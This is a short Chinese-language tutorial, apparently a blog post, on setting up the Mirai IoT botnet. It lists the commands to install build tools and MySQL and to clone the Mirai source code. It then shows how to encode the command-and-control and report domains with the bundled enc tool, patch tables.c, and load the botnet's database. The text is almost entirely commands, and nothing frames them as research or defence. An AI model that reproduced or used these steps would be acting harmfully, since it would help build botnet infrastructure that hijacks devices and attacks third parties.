一、准备
1.Mirai 使用了 C,Go 两种编程语言,使用数据库存储数据,因此提前安装需要软件如下命令:
sudo apt-get install git sudo apt-get install gcc sudo apt-get install golang sudo apt-get install electric-fence sudo apt-get install mysql-server mysql-client
2.下载源码
git clone https://github.com/jgamblin/Mirai-Source-Code
3.修改参数,配置CNC
cd mirai/tools && gcc enc.c -o enc.out //编译enc可执行文件,用于ip地址异或 ./enc.out string cnc.changeme.com //会返回一串“\x”字符串 (其实就是加密了 cnc.changeme.com) ./enc.out string report.changeme.com //会返回一串“\x”字符串
分别替换tables.c
文件中的18行和21行的“\x”字符串和后面的另一个参数
记得:要修改两个参数!(\x字符串和后面的长度的参数)
4.配置数据库
cd ../../scripts //进入script目录 gedit db.sql //编辑大db.sql文件
添加use mirai;如下图
service mysql start //启动Mysql 服务 cat db.sql | mysql -uroot -proot mysql -uroot -proot